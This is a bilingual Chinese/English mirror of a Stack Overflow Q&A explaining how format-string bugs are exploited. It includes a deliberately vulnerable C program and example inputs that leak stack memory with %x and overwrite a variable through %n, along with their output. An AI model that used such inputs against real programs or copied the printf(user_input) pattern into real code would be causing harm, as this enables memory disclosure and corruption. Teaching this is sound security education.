如何利用 Format-String 漏洞? [英] How can a Format-String vulnerability be exploited?

查看:26
本文介绍了如何利用 Format-String 漏洞?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我正在阅读有关代码漏洞的信息,并发现了这个格式字符串漏洞.

I was reading about vulnerabilities in code and came across this Format-String Vulnerability.

维基百科 说:

格式化字符串错误最常出现在程序员希望打印包含用户提供数据的字符串.程序员可能错误地写 printf(buffer) 而不是 printf("%s", buffer).这第一个版本将缓冲区解释为格式字符串,并解析任何它可能包含的格式说明.第二个版本简直了正如程序员所希望的那样,将一个字符串打印到屏幕上.

Format string bugs most commonly appear when a programmer wishes to print a string containing user supplied data. The programmer may mistakenly write printf(buffer) instead of printf("%s", buffer). The first version interprets buffer as a format string, and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended.

我遇到了 printf(buffer) 版本的问题,但我仍然不明白攻击者如何利用这个漏洞来执行有害代码.谁能告诉我如何通过示例利用这个漏洞?

I got the problem with printf(buffer) version, but I still didn't get how this vulnerability can be used by attacker to execute harmful code. Can someone please tell me how this vulnerability can be exploited by an example?

推荐答案

您可以通过多种方式直接或间接地利用格式字符串漏洞.让我们使用以下作为示例(假设没有相关的操作系统保护,这无论如何都非常罕见):

You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:
");
    printf("%s", text);
    printf("This is how not to print:
");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

此漏洞的基础是具有可变参数的函数的行为.实现处理可变数量参数的函数本质上必须从堆栈中读取它们.如果我们指定一个格式字符串,使 printf() 期望堆栈上有两个整数,并且我们只提供一个参数,那么第二个参数必须是堆栈上的其他内容.通过扩展,如果我们可以控制格式字符串,我们可以拥有两个最基本的原语:

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:

重要提示:我在这里对堆栈框架布局做了一些假设.如果您了解漏洞背后的基本前提,则可以忽略它们,并且它们会因操作系统、平台、程序和配置而异.

IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

可以使用 %s 格式参数来读取数据.您可以在 printf(text) 中读取原始格式字符串的数据,因此您可以使用它从堆栈中读取任何内容:

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

<小时>

写入任意内存地址

您可以使用 %n 格式说明符写入任意地址(几乎).同样,让我们​​假设我们上面的易受攻击的程序,让我们尝试更改位于 0x08049794some_value 的值,如上所示:


Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "x94x97x04x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

我们用遇到 %n 说明符之前写入的字节数覆盖了 some_value (man printf).我们可以使用格式字符串本身,或者字段宽度来控制这个值:

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "x94x97x04x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

有很多可能性和技巧可以尝试(直接参数访问、大字段宽度使环绕成为可能,构建您自己的原语),而这只是冰山一角.我建议阅读更多关于 fmt 字符串漏洞的文章(Phrack 有一些非常优秀的,虽然它们可能有点高级)或一本涉及该主题的书.

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.

免责声明:示例 [尽管不是逐字逐句] 摘自乔恩·埃里克森 (Jon Erickson) 的黑客:剥削的艺术(第二版).

Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

这篇关于如何利用 Format-String 漏洞?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆